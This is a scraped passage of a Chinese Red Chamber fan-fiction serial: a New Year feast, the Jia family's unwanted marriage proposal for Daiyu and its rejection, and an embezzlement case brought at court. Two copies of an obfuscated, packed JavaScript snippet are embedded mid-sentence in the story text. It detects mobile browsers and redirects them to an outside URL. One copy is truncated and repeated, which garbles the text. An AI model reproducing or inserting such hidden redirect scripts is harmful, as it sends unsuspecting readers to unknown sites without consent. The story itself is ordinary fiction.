一盘盘饺子端上桌,配了蒜泥、香醋、辣椒油,又摆了糟鹅、风鸡、熏鱼、腊肉,还有各色小菜,满满一桌。 “都坐,都坐。”林如海招呼众人入席。 他坐了主位,贾敏在左,黛玉在右,甄士隐、沈砚、周文渊、陈景行依次坐下。 长生挨着陈景行,香菱挨着甄士隐,雪雁、紫鹃、王嬷嬷也在下首设了一小桌,一同过节。 林如海举杯:“今日除夕,承蒙诸位不弃,来寒舍共度。这一杯,敬团圆,敬安康。” 众人举杯,一饮而尽。 “吃饺子,趁热。”贾敏招呼。 长生夹了个饺子,咬一口,鲜香满口。是猪肉白菜馅的,汁水丰盈,味道正好。 “这个是我包的。”黛玉指 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鼓声起,花传开。 从林如海起,传到贾敏,再到沈砚、周文渊、甄士隐、陈景行、长生、香菱。 鼓声停时,花在陈景行手中。 “景行,来一个!”沈砚起哄。 陈景行脸一红,想了想,道:“那学生便背首诗罢。”他清清嗓子,背了首王安石的《元日》: “爆竹声中一岁除,春风送暖入屠苏。千门万户曈曈日,总把新桃换旧符。” 声音清朗,抑扬顿挫,背罢,众人喝彩。 “该我了。”长生起身,提了壶酒,给众人满上,“我敬各位一杯,敬父亲母亲身体康健,敬甄先生父女团圆,敬沈伯伯周伯伯情谊长久,敬景行兄学业精进,敬姐姐岁岁欢愉,敬香菱妹妹平安喜乐。” “说得好!”沈砚拍案,“长生这孩子,越来越会说话了,来,干了!” 众人举杯,又是一饮而尽。 鼓声又起,这回花停在了香菱手中。 香菱有些慌,看向甄士隐,甄士隐微笑点头,示意她别怕。 香菱定了定神,轻声道:“那,那奴婢唱支小曲罢,是跟林姑娘学的。” 她清了清嗓子,唱了支江南小调,声音清甜,带着几分吴侬软语,婉转动听,唱的是新春佳节,团圆美满,唱罢,众人都听住了。 “好!”周文渊率先喝彩,“此曲只应天上有,人间能得几回闻。香菱姑娘好嗓子。” 香菱脸红到耳根,低头坐下,甄士隐望着女儿,眼中满是骄傲。 鼓声又起,花传了几轮,各有表演。 沈砚说了段笑话,周文渊打了套拳,甄士隐讲了段古,连贾敏也破例说了支古韵小调。 轮到林如海,他沉吟片刻,道:“我便写副春联罢。” 雪雁早已备好纸笔。 林如海提笔,饱蘸浓墨,略一思索,挥毫写下: 上联:骐骥迎春春入户 下联:金莺报喜喜临门 横批:阖家欢乐 字迹苍劲有力,气势恢宏。 “好联!”沈砚赞道,“如海兄这笔字,愈发精进了。” “岂止字好,这对子也妙。”周文渊道,“骐骥迎春,应景,金莺报喜,吉祥。阖家欢乐,正是咱们今日写照。” 正说笑间,外头钟鼓楼传来钟声,子时到了。 “新年了!”黛玉起身,推开窗。 但见夜空中,烟花绽开,一朵接一朵,璀璨夺目。爆竹声此起彼伏,响彻云霄。 空气中弥漫着硫磺味儿,混着饭菜香。 众人皆起身,望向外头漫天华彩。 “又是一年。”林如海轻叹,揽住贾敏的肩。 “是,又是一年。”贾敏靠在他肩上,眼中映着烟火。 长生站在姐姐身边,低声道:“姐姐,新年安康。” “你也是。”黛玉转头看他,笑意盈盈。 甄士隐与香菱并肩而立。 香菱望着烟花,眼中满是欢喜,甄士隐看着女儿,又看看周遭众人,心中从未有过的踏实。 沈砚与周文渊相视一笑,举杯对饮。 陈景行望着长生侧脸,悄悄红了耳根。 这一刻,没有朝堂纷争,没有家族恩怨,没有前尘往事,只有一室暖意,满堂欢笑,和窗外那照亮夜空的,盛世烟花。 “愿年年有今日,岁岁有今朝。”林如海举杯。 “愿年年有今日,岁岁有今朝。”众人齐声。 酒杯相碰,清响悦耳。 25.第 贾母下聘 尚未大亮,乌云压在京城上空,一丝风也没有。 林如海早早去了户部衙门,这几日漕运的账目有了眉目,陈启年那老狐狸终于露出了尾巴。 长生在书房与甄士隐论学,甄先生今日讲《左传》,说到“郑伯克段于鄢”,声音慷慨激昂,条分缕析。 香菱得黛玉默许,闲时可以在一旁伺候笔墨。 这般宁静,未持续多久。 巳时三刻,外头忽然传来急促的脚步声。 林忠匆匆进来,脸色煞白,声音发颤:“少爷,不好了!荣国府…荣国府来下聘了!” 长生手中笔一滞,不可思议抬头,:“你说什么?” “荣国府的老太太亲自来了,带着媒人,抬着聘礼,说是……”林忠咽了口唾沫,“说是来给宝玉少爷下聘,要聘咱们姑娘!” 书房里死一般寂静,甄士隐霍然起身,想说什么,但碍于自己没有做主权,最终没说出口。 长生站起身,脸上没有表情,“父亲可知道了?” “老爷在户部,还未回府,老太太她们已到前厅了,老太太让姑娘去见她,姑娘不肯,正在屋里哭。”林忠急道,“少爷,这可如何是好?” 长生闭了闭眼。 贾府,荣国府,他的好外祖家,母亲才去了几年,尸骨未寒,他们便这般迫不及待,要拿玉儿的终身作筹码?可父亲还没死,他林长生还活着! “甄先生,”他睁开眼,声音冷冽,“劳您去姐姐院里替我守着,香菱,你去前厅,听听她们说什么,一字不漏地回来告诉我。” 两人应声去了。 长生在书房里踱了两步,忽然抓起案上那方端砚,狠狠摔在地上! “砰”的一声,砚台碎裂,墨汁四溅。 林忠吓得一哆嗦。他从未见过少爷这般模样。 “少爷……” “备车。”长生打断他,“去户部衙门接父亲回府。” “可老爷……” “快去!” 林忠不敢再言,匆匆去了。 长生站在满地碎砚中,胸口剧烈起伏。 好,好一个荣国府,好一个贾母,真当林家无人了么?真当他林长生,是那等任人揉捏的稚子? 他走到书架前,从暗格中取出那本账册,甄士隐带来的那本记着贾府、王府与盐商往来的账册,原本想等父亲在朝中站稳脚跟再动,如今看来,等不得了。 将账册收好,长生整了整衣袍,推门出去。 此刻林府前厅,却是另一番光景。 贾母端坐主位,穿着绛紫团花寿字纹的缎袄,头发梳得一丝不乱,额上勒着嵌翡翠的抹额。 她今日气色极好,脸上洋溢着笑容。 王夫人坐在下首,穿着沉香色妆花缎袄,手里捻着佛珠,面上笑容僵硬,有些不太情愿。 邢夫人、王熙凤都在,还有请来的官媒,官媒是京城最有名的张媒婆,五十来岁年纪,一张嘴能说会道,此刻正赔着笑:“老太太真是好福气,林姑娘那样的品貌,与府上宝二爷真是天造地设的一对,这桩婚事若成了,真是天大的喜事。” 贾母笑道:“借你吉言,玉儿那孩子,我是打心眼里疼,她母亲去得早,我这个做外祖母的,总要替她打算,宝玉虽不成器可心地纯善,与玉儿又是从小一处长大,知根知底。这婚事,再合适不过。” 王夫人勉强接话:“母亲说得是。只是如海那边,还未知会,这般贸然下聘,怕是不妥。” “有什么不妥?”贾母淡淡道,“我是玉儿嫡亲的外祖母,她的婚事,我还做不得主?如海是明理人,定能体谅我这片苦心。”又道,“再者,政儿前日已官复原职,圣眷正隆,这桩婚事,对林家,对贾家,都是好事。” 王夫人不再言语,只低头捻佛珠,尽管心里千百个不情愿,但说不过老太太,老太太这是铁了心了。 自那日王子腾来府与老太太密谈后,老太太便动了这心思,林家如今势起,林如海圣眷正隆,林长生又是神童,若能结这门亲,贾府便有了倚仗。 至于黛玉那病弱身子,宝玉与宝钗的感情在家族利益面前,都不值一提。 只是可惜了她的宝丫头,王夫人心里发苦,却不敢说。 正说着,外头传来丫鬟的声音:“林姑娘来了。” 正在偷听的香菱魂都要飞了,甄先生怎么看守的!!现在林姑娘过来了,如何是好。 众人抬眼,见黛玉由紫鹃扶着,慢慢走进来。 她今日穿着月白素缎袄,未施脂粉,脸色苍白,眼圈微红,显是哭过,可眼眸分明清冷,不见半分怯懦。 “给外祖母请安。”黛玉行礼。 贾母忙招手:“好孩子,过来坐。” 黛玉不动,只站着,目光扫过厅中众人,扫过那些扎着红绸的聘礼箱子,最后落在贾母脸上:“外祖母今日来,所为何事?” 贾母笑道:“傻孩子,还能为何事?自然是你的终身大事。” 她拉过黛玉的手,温声道,“你与宝玉从小一处长大,情分非比寻常,外祖母想着你们年纪也到了,该把亲事定下来。今日特请了张媒婆来,替你二人保媒。” 黛玉抽回手,后退一步:“外祖母,玉儿的婚事,自有父亲做主。” “你父亲自然要做主,”贾母笑道,“可父母之命,媒妁之言,这媒人总要先请的,你放心,外祖母已让人去户部请你父亲了,等他回来,咱们当面说。” “不必了。”黛玉声音冷了下来,“玉儿的婚事,不劳外祖母费心。” 贾母脸色一沉:“玉儿,你这是什么话?我是你嫡亲的外祖母,你的婚事,我不管谁管?” “玉儿是林家的女儿,婚事自有父亲和弟弟做主。”黛玉抬眼,直视贾母,“外祖母若真疼玉儿,便该尊重玉儿的意愿,尊重林家的规矩。” 这话说得重了,厅中一片死寂。 王夫人、邢夫人面面相觑,王熙凤忙打圆场:“林丫头这是害羞了,老太太,婚事是大事,咱们慢慢商量……” “没什么可商量的,”黛玉打断她,“这聘礼抬回去,这媒人请回罢,我今日把话放在这儿,便是父亲允了,玉儿也绝不嫁入贾府。” “你!”贾母霍然起身,气得浑身发抖,“反了,反了!我是你外祖母,你竟敢这般与我说话!” “外祖母是长辈,玉儿不敢不敬,”黛玉以理据争,“可外祖母今日所为,是逼玉儿,是辱林家。母亲若在,定不会允外祖母这般行事。” 提到贾敏,贾母身子一晃,跌坐椅中,老泪纵横:“敏儿,我的敏儿啊,你若在,定不会让你女儿这般忤逆……” 正闹着,外头传来一阵喧哗。 林忠的声音响起:“老爷回来了!少爷回来了!” 众人抬头,见林如海与长生一前一后进来。 林如海穿着官服,面色铁青,长生跟在身后,看见姐姐后迅速上前扶着,林忠有眼力见搬了软垫椅子。 “老太太。”林如海拱手,“今日这是演的哪一出?” 贾母擦泪,强笑道:“如海回来了,我正与玉儿说她的婚事……” “玉儿的婚事,不劳岳母费心。”林如海打断她,目光扫过那些聘礼,厌恶道,“这些,抬回去。” “如海,你听我说……” “不必说了。”林如海走到主位坐下,竟让满厅人不敢出声。 “岳母今日所为,是欺我林家无人?”林如海道,“玉儿是我林如海的女儿,她的婚事自有我这个做父亲的主意,岳母不与我商议,便贸然下聘,这是何道理?” 贾母强辩:“我是玉儿外祖母,难道做不得主?” “做不得。”林如海斩钉截铁,“岳母是贾家的老祖宗,不是林家的老祖宗,玉儿的婚事,岳母可建议,不可做主。” 这话倒是撕破了脸。 贾母脸色煞白,王夫人忙道:“姑爷误会了,老太太是心疼外孙女……” “心疼?”长生阴森森开口,“若真心疼,便该尊重姐姐的意愿,尊重林家的体面,这般抬着聘礼上门,逼婚强嫁,是心疼,还是胁迫?” 他年纪小,可这话字字诛心。 厅中众人,皆变了脸色。 贾母指着长生,气得说不出话。 王熙凤忙扶住她,对林如海道:“姑父息怒,老太太也是一片好心。这婚事成不成,咱们慢慢商量……” “不必商量。”林如海起身,“岳母请回罢,这些聘礼也请抬回去,日后玉儿的婚事不劳贾府费心。” 贾母何时受过这般羞辱,眼前一黑,险些晕倒。 王夫人、邢夫人忙扶住,王熙凤急道:“快,扶老太太回去!” 众人手忙脚乱,搀着贾母往外走那些聘礼也顾不上了扔了满厅。 张媒婆见势不对,早溜了。 顷刻间,方才还热闹的厅堂,只剩林家人。 黛玉再也撑不住,身子一软,紫鹃忙扶住,却见姑娘泪如雨下却咬着唇,一声不吭。 “玉儿。”林如海走过去,将女儿搂在怀中,“为父在,谁也不能逼你。” “父亲……”黛玉终于哭出声来,“他们……他们怎能这般……” “他们敢这般,是为父还不够强,”林如海轻拍女儿后背,声音沉痛,“是为父让你受委屈了。” 长生站在一旁,他转身指挥了个小厮把这些聘礼丢出林府,继而对林忠道:“备车,我去国子监。” “长生,”林如海叫住他,“你要做什么?” “父亲放心,儿子有分寸。”长生回头,“他们既不要脸,儿子便让他们,没脸见人。” 荣国府,此刻乱成一团。 贾母被抬回荣庆堂,已缓过气来,脸色灰败躺在榻上,闭目不语,王夫人、邢夫人、王熙凤围在一旁,丫鬟捧着药,却不敢上前。 “反了,反了……”贾母喃喃道,“我活了这么大岁数,从未受过这般羞辱……” 王夫人低声道:“母亲,如今怎么办?聘礼还在林府……” “抬回来!”贾母睁眼,狠色道,“既然他们不要脸,咱们也不必留情。去,把宝玉叫来!” 宝玉正在怡红院。 他方才与袭人云雨罢,正懒懒躺着,忽听外头喧哗,还不明所以,待下人进来说了下聘之事,他先是一愣,随即大喜。 “真的?老太太真去林家下聘了?” “千真万确。”下人笑道,“二爷这下可如愿了,林姑娘那样的品貌,与二爷真是天作之合。” 宝玉喜得坐不住,在屋里转圈:“林妹妹,林妹妹要嫁我了!我就知道,老太太最疼我,定会成全我!” 正欢喜着,外头丫鬟来唤:“二爷,老太太让您过去。” 宝玉忙整了衣裳,兴冲冲往荣庆堂去,一路想着,见了林妹妹该说什么,成亲后该如何待她,越想越美,脚步都轻快起来。 到了荣庆堂,却觉气氛不对,老太太躺在榻上,脸色难看,母亲、伯母、凤姐姐都沉着脸。 他心头一紧,上前行礼:“老祖宗。” 贾母看他一眼,叹息道:“宝玉,你与玉儿的婚事……怕是不成了。” “为何?”宝玉如遭雷击。 “林家不允。”王夫人低声道,“你姑父……你林姑父,将聘礼都扔出来了。” 宝玉脸色煞白,踉跄一步:“不……不可能!林妹妹……林妹妹她……” “她也不允。”贾母闭眼,“宝玉,罢了,天下好姑娘多的是,何必……” “不!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16964867|192023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宝玉忽然大叫,“我只要林妹妹!除了林妹妹,我谁都不要!”说着,竟往外冲,“我去找林妹妹,我去问她……” “拦住他!”贾母厉喝。 丫鬟婆子忙拦住宝玉。 宝玉挣扎哭喊:“放开我!我要见林妹妹!她定是受了胁迫,她心里是有我的……” 正闹着,贾琏匆匆进来,脸色发白:“老祖宗,不好了!” “又怎么了?” “外头……外头传遍了!”贾琏急道,“说咱们府上逼婚林家,林侍郎不允,咱们便抬着聘礼上门胁迫,还说、还说二叔官复原职,是走了王家的门路,圣上已派人暗查了!” “什么?!”贾母霍然坐起。 王夫人手中佛珠“啪”地断了,珠子滚了一地。 “还有……”贾琏声音发颤,“国子监那边,长生表弟当众说了咱们贾府欺他姐弟年幼,欺林家无人,要强娶他姐姐。如今清流一脉的子弟都在议论,说咱们,说咱们仗势欺人,无耻之尤。” 贾母眼前一黑,直挺挺倒了下去。 “老太太!” “快请太医!” 荣庆堂里,乱作一团。 此刻国子监中。 长生站在廊下身边围着陈景行、李煦等十余名清流子弟,他将今日之事缓缓道来,说到贾府抬聘礼逼婚,让众人都为之心悸。 “家父在户部为朝廷办事,查的是国库亏空,动的是某些人的利益,他们动不了家父,便拿家姐作文章。”长生看着众人,感伤作势抹泪,“今日他们敢逼婚,明日便敢杀人,这京城还有王法么?” 众人见林家弟弟如此伤怀,皆为不平。 陈景行怒道:“岂有此理!贾府这般行径,与强盗何异?” 李煦也道:“林兄放心,此事我们定会禀明家父。清流一脉,同气连枝,断不能让人这般欺辱。” 其余子弟也纷纷附和,这些年轻人,热血未冷,最见不得不公,何况长生平日待人谦和,学问又好,在监中人缘极佳,此刻见他受辱,皆义愤填膺。 “多谢诸位。”长生见目的达成,拱手,深深一揖,“长生别无他求,只求诸位将今日之事,如实告知家中长辈,让这京城的人都看看贾府是如何仗势欺人,如何逼婚强嫁的。” “林兄放心,此事包在我们身上。” 众人散去,各自回府,长生阴郁笑了。 贾府,你们既要玩,便陪你们玩到底。 舆论,是人言,更是刀。这把刀,他倒是装了好些年的纯良和善做派,他不过是孤魂野鬼,侥幸重生,怎么会和善做人,只不过是蓄势待发罢了 当夜,京城各处府邸,都得了消息。 沈府,沈砚拍案而起:“好个贾府,好个王子腾!这是要逼死如海兄么?” 周府,周文渊长叹:“贾政官复原职,果然是王子腾的手笔。他们这是要联手,对付如海啊。” 严府,李大人对夫人道:“明日你递帖子去林府,看看林姑娘,那孩子怕是吓坏了。” 镇国公府,牛继宗听着下人禀报,眉头紧锁:“贾府这般行事,太蠢。林如海岂是任人拿捏的?还有他那儿子……”他预感不妙,“萱儿呢?” “小姐在房里,已哭了一下午了。” 牛继宗叹息,他那女儿对林家姑娘是真上了心如今贾府这般一闹,林家与贾府算是彻底撕破脸了。 萱儿与林家姑娘,怕是…… “罢了,由她去罢。” 而此刻林府书房,灯火通明。 林如海与长生对坐,中间摊着那本账册。 “父亲,时机到了。”长生指着账册上一处,“宣和五年,漕运总督王崇是王子腾的堂弟,那一年漕运亏空三十万两,其中十万两,进了贾府。” 林如海点头:“为父在户部查的也是这条线,陈启年与王崇勾结做假账,贪墨漕银。贾府,王府,都有份。” “既如此,何不……” “还差一个人证。”林如海道,“王崇已死,死无对证,陈启年老奸巨猾,账目做得干净。要动他,还欠火候。” 长生沉默片刻,道:“父亲可记得,扬州那个王姓盐商?” “记得。” “他死前,将账册托付甄先生,还留了句话,”长生道,“他说‘若我死了,这账册交给林如海,里头记的足够让那些人掉脑袋。’” 林如海:“你是说……” “甄先生便是人证,另外一本账单已经交给儿子,只是之前想着待父亲在京城站稳脚跟再全盘托出 ,那盐商既知自己必死,定会留后手。”长生道。 “如此甚好……”林如海沉吟。 正说着,外头传来黛玉的声音:“父亲,弟弟。” 黛玉推门进来,眼睛还红肿着,神色已平静许多,她走到父亲面前,:“女儿不孝,让父亲受辱了。” 林如海忙扶起她:“傻孩子,是父亲让你受委屈了。” “女儿不委屈,”黛玉抬头,“只是委屈父亲经营多年,还是让贾府那些人看低了去。” 林家儿郎还在,贾府擅自给林家女儿定亲,这已经不是干涉他人内务了,而是直接忽视林家地位。 长生看着姐姐,心疼极了,自己自从重生过后天天说着不让姐姐难受哭泣,可到底还是食言几次。 “姐姐说得是,”长生道,“咱们可不怕事,他们既撕破脸,咱们便让他们知道,林家不是好欺的。” 林如海看着一双儿女,心中感慨万千,倘若敏儿在世,看见林贾二家如此关系境界不知该如何想,但看见这两个孩子这般懂事坚强,也定会欣慰罢。 “好。”他重重点头,“既然要斗,那便斗到底,为父在朝堂,你们在后方,咱们一家同心协力,定能闯过这一关。” 26.风雨欲来 街巷积水成洼,车马难行,林如海起了个大早,天不亮便换上朝服,临出门前对长生道:“今日朝会,为父要动本,你在家好生看顾姐姐,无论外头传来什么消息,都莫要慌。” 长生点头:“父亲放心,儿子已让林忠闭了府门,无事不得出入。” 林如海深深看了儿子一眼,拍了拍长生的肩,转身上了马车。 车轮碾过积水,溅起浑浊的水花,林如海靠在车厢里,袖中那份奏折是昨夜他与长生、甄士隐三人反复推敲写就的。不告贾府逼婚——那是家事,上不得台面。 他要告的是漕运亏空和户部积弊,以及以此为首的陈启年、王崇、贾政、王子腾等人,林如海本想着徐徐图之温水煮青蛙,可经过昨日贾府下头的事件过后,林如海被逼急了,他不管怎么样都要撕破这层皮。 马车在午门外停下,雨势稍歇,天色依旧阴沉。 百官陆续到了,三五成群站在廊下避雨,林如海下车,立时引来无数目光。 “如海兄。”沈砚快步过来,压低声音,“今日朝会,你可有准备?” 林如海点头:“沈兄放心。” 周文渊也过来了,身后跟着几位清流官员,众人交换眼神,心照不宣,昨夜各府都得了消息,今日这场朝会注定不会平静。 正说着,陈启年到了。 这位老尚书今日面色如常,见林如海,还主动招呼:“林大人早,雨大路滑,路上可好走?” “劳陈尚书挂心,尚好。”林如海拱手。 陈启年笑了笑,笑意未达眼底,他自然知道昨夜贾府的事,也知道外头那些流言,可那又如何? 贾府蠢,他陈启年不蠢,逼婚是小节,亏空才是大事。只要林如海拿不出真凭实据,便动不了他分毫。 钟鼓声起,百官入朝。 金銮殿上,圣上面沉如水,待诸事奏毕,他忽然道:“林如海。” “臣在。”林如海出列。 “朕让你查的户部账目,如何了?” “臣已查实。”林如海从袖中取出奏折,双手奉上,“宣和三年至宣和七年,漕运共计亏空白银一百二十七万两,其中,宣和五年亏空最巨,达三十万两,经查,此中牵涉前任漕运总督王崇、户部主事赵文礼、工部郎中贾政等一十七人,这是明细账目,请圣上御览。” 太监接过奏折,呈递御前,殿中一片死寂,只听得见圣上翻阅奏折的沙沙声。 陈启年脸色变了,他没想到林如海动作这么快,更没想到林如海竟真敢把贾政扯进来,那可是贾府的二老爷,王子腾的妹夫! 圣上合上奏折,沉默良久,方道:“陈启年。” “臣在,”陈启年出列,背上已冒了冷汗。 “你是户部尚书,漕运亏空至此,你可知情?” “臣…臣有失察之罪。”陈启年扑通跪倒,“可漕运账目繁杂,王崇又已病故,死无对证,林侍郎所言,恐是一面之词。” “一面之词?”圣上冷笑,将奏折掷下,“你自己看!” 奏折摔在陈启年面前,摊开了。 他颤抖着手拾起,只看了一眼,便面如死灰,那上头不仅有账目明细,还有王崇生前留下的亲笔供状! 供状上清清楚楚写着,如何与户部、工部勾结,如何做假账,如何分赃,贾政、赵文礼的名字,赫然在列! “这…这不可能…”陈启年喃喃道,“王崇已死三年,这供状……” “是王崇死前留下的。”林如海道,“他知自己必死,便将此物交与心腹,嘱其若他身死,便将此物公之于众,那心腹隐姓埋名三年,前日才寻到臣,将此物交出。” 这是昨夜与甄士隐商定的说法,那心腹自然是没有的,供状是甄士隐凭记忆默写,又仿了王崇笔迹,可这当口,谁还会去查证? 陈启年瘫倒在地,完了,全完了,王崇的供状一出,他这些年做的那些事,怕是一件也瞒不住了。 圣上看着他,:“陈启年,你还有何话说?” “臣……臣冤枉……”陈启年挣扎道,“这供状定是伪造!王崇已死,死无对证,林如海这是诬陷!” “诬陷?”圣上怒极反笑,“好,好一个诬陷。那朕问你,宣和五年,你府上添的那处宅子,价值三万两,银子从何而来?你儿子陈文翰在江南置的那三百顷良田,银子又从何而来?” 陈启年面如土色,再也说不出话。 圣上不再看他,对都察院左都御史道:“陈启年贪墨渎职,即刻下狱,交都察院、刑部、大理寺三司会审,涉案人等一律严查,绝不姑息!” “臣遵旨。” 侍卫上前,拖起瘫软的陈启年,这位在户部经营二十年的老尚书,就这么被拖出了金銮殿,连官帽都掉了,滚落在殿中,无人敢捡。 圣上目光扫过百官,最后落在林如海身上:“林如海。” “臣在。” “即日起,你暂代户部尚书一职,主持户部事务,继续清查亏空,朕给你三个月,将户部上下,给朕理个清楚!” “臣,领旨谢恩。” 朝会散了百官退出金銮殿,个个神色凝重,陈启年倒了,户部要变天了。 沈砚、周文渊与林如海并肩往外走。 沈砚低声道:“如海兄,好手段。王崇那供状……” “沈兄慎言。”林如海打断他,“供状是真是假,自有圣裁,咱们做臣子的,只须办好差事。” 沈砚会意,不再多言,周文渊却叹道:“陈启年一倒,怕是要牵连不少人。” “该牵连的,一个也跑不了。”林如海声音冰冷,“这些年,他们贪了多少,害了多少百姓,如今,该还了。” 出了宫门,各自上车,林如海靠在车厢里,闭目养神,陈启年不过是条狗,他背后的人是王子腾。 如今他断了他们一条财路,他们会善罢甘休? 马车驶过街市,雨又下了起来,林如海掀帘看去,见街边茶楼里,几个人正聚在一处说话,见他马车经过,都看了过来,眼神复杂。 他放下帘子,不再看。 这京城,从来都是这样,你得意时,万人追捧,你失意时,千人踩踏。如今他圣眷正隆,那些人自然要巴结,可若有一日…… 林如海摇摇头,不再想,他既选了这条路,便只能往前走,不能回头。 此刻荣国府,已乱成一锅粥。 陈启年下狱的消息传来时,贾政正在书房看书,小厮连滚爬进来禀报,他手中的书“啪”地掉在地上。 “你……你说什么?” “老爷,陈尚书下狱了!说是漕运亏空,牵涉……牵涉咱们府上!”小厮哭丧着脸,“外头都传遍了,说林侍郎递了折子,把咱们府上也扯进去了!” 贾政脸色煞白,跌坐在椅上,完了,全完了。 陈启年一倒,他那些事,还能瞒得住?王子腾虽能保他一时,可圣上若真追究起来…… “快,快去请老太太!”贾政嘶声道。 贾母已得了消息,正由王夫人、王熙凤扶着,颤巍巍往书房来。一见贾政,便问:“到底怎么回事?陈尚书怎会下狱?与咱们府上何干?” 贾政扑通跪倒:“母亲,儿子……儿子一时糊涂……” “糊涂?”贾母气得浑身发抖,“你说,你到底做了什么?” 贾政不敢隐瞒,将这些年与陈启年、王崇的勾当一五一十说了,末了哭道:“儿子也是没法子,府里开销大,进项少,若不想些法子,这偌大的家业,如何支撑?” “混账!”贾母一拐杖打在他背上,“我贾家世代勋贵,就是饿死,也不能做这等事!你……你真是丢尽了祖宗的颜面!” 王夫人也哭道:“老爷,你怎这般糊涂!如今可如何是好?” 正闹着,外头又有人来报:“老太太,太太,王家舅老爷来了!” 王子腾大步进来,一身雨水,面色铁青。见这情形,便知贾政已说了,冷冷道:“现在知道怕了?早做什么去了?” 贾母忙道:“他舅,你可要救救政儿!” 王子腾在椅上坐下,沉声道:“救?怎么救?陈启年已下了狱,三司会审,他那张嘴,能撑多久?一旦他招了,政弟便是下一个!” “那……那可如何是好?”王夫人急道。 王子腾沉吟片刻:“为今之计,只有一条路——让政弟主动请罪。” “请罪?”贾政脸色惨白,“那我这官……” “官?”王子腾冷笑,“你还想保官?能保命就不错了!主动请罪,将贪墨的银子吐出来,再求圣上开恩,或可从轻发落,若等三司查上门,便是抄家灭族的大罪!” 贾母老泪纵横:“我贾家……我贾家怎就落到这般田地……” 王子腾不耐道:“现在说这些有何用?速去写请罪折子,我替你递上去,还有,那些银子,尽快凑齐,一文不能少!” 贾政瘫在地上,面如死灰,他这官是保不住了,这些年贪的银子,少说也有十几万两,如今要全吐出来,贾府怕是要掏空家底。 王子腾又对贾母道:“老太太,还有一事——林家那边,切莫再去招惹。林如海如今圣眷正隆,又暂代户部尚书,咱们惹不起。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16979202|192023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 提到林家,贾母眼里闪过恨意:“若不是他家,政儿怎会……” “糊涂!”王子腾厉声道,“是政弟自己手脚不干净,与林家何干?如今咱们是泥菩萨过江,自身难保,你还想去惹林家?嫌死得不够快么?” 贾母不敢再言,只垂泪。 王子腾起身:“我这就去写折子,你们速去筹银子,三日之内必须凑齐!” 说罢,拂袖而去。 贾母望着儿子,长叹一声:“作孽,真是作孽啊……” 林府这边,却是另一番光景。 林如海回府时,雨已停了,长生、黛玉、甄士隐都在前厅等着,见他回来,都迎上来。 “父亲,朝会如何?”长生问。 林如海将朝会情形说了,末了道:“陈启年下了狱,圣上命我暂代户部尚书,继续清查。” 黛玉松了口气:“如此便好。” 甄士隐却道:“林大人,陈启年一倒,那些人定不会善罢甘休。您要多加小心。” “先生说得是,”林如海点头,“不过他们如今自顾不暇,暂时还腾不出手来对付我,倒是贾府那边,贾政怕是要倒霉了。” 长生冷笑:“他活该,这些年贪了多少,如今该吐出来了。” 正说着,外头林忠来报:“老爷,镇国公府牛夫人来了,说是来赔罪。” 众人都是一怔,林如海道:“请到花厅。” 牛夫人是独自来的,未带女儿,她今日穿着素净,见林如海进来,忙起身行礼:“林大人。” “牛夫人请坐。”林如海在主位坐下,“夫人今日来,所为何事?” 牛夫人苦笑:“我是替我那小姑子赔罪来了,贾府昨日所为,实在荒唐,我家老爷听说后,已将小姑狠狠训斥了一顿。今日特让我来,向林大人、林姑娘赔个不是。” 说着,让丫鬟奉上礼盒:“这是些药材补品,给林姑娘压惊,还请林大人莫要与我那小姑子一般见识。” 林如海淡淡道:“夫人言重了,贾府是贾府,镇国公府是镇国公府,林某分得清。” 这话说得客气疏离,牛夫人听懂了,林家这是要与贾府彻底划清界限,连带着对镇国公府也有了隔阂。 她心中叹息,却也无法,谁让贾府那般蠢,做出那等事来?如今连累得镇国公府也难做人。 “林大人宽宏大量,妾身感激不尽。”牛夫人起身,“既如此,妾身便不叨扰了,日后若有用得着镇国公府的地方,尽管开口。” “夫人慢走。” 送走牛夫人,长生道:“父亲,镇国公府这是撇清关系?” 林如海道,“牛继宗是聪明人,见贾府要倒,便急着划清界限,他让夫人来赔罪是真觉得贾府荒唐,想看看咱们的态度。” “那父亲……” “咱们的态度,便是没有态度。”林如海道,“不亲近,不疏远,不表态。这朝堂上的事,瞬息万变,今日的朋友,明日的敌人,谁说得准?” 长生点头:“儿子明白了。” 黛玉轻声道:“父亲,牛小姐她……与贾府不同,那日她来,虽是热情了些,可眼神真诚,不似作伪。” 林如海看着女儿,温声道:“玉儿,为父知你心善。可这京城里的人,真真假假,谁说得清?牛萱或许真心,可她身后是镇国公府,且不说镇国府到底牵扯几分,如今先明哲保身。” 黛玉默然,心里有些怅惘,那日荷塘边牛萱看她的眼神亮晶晶的,像是真的喜欢她,可这份喜欢在家族利益面前,又算得了什么? “姐姐莫难过。”长生道,“真心朋友,贵在知心。严姐姐、沈家妹妹、周家妹妹,不都与你交好?至于牛萱,等事情过后再论吧。” “长生说得是,”林如海道,“玉儿,真心待咱们的,咱们真心相待,虚情假意的,咱们敬而远之,这便够了。” “女儿谨记。” 正说着,外头又有人来报,这次是严府、沈府、周府都派人送了礼来,说是给林姑娘压惊,礼不重,却都是心意。 黛玉看着那些礼,心里暖了,这京城,虽有贾府那般不堪的,可也有严姐姐、沈家妹妹这般真心的,如此,便够了。 长生在书房,将那本账册重新收好,陈启年倒了,贾政要垮了,可王子腾还在,那些盘根错节的势力还在。 这一仗,才刚开了个头。 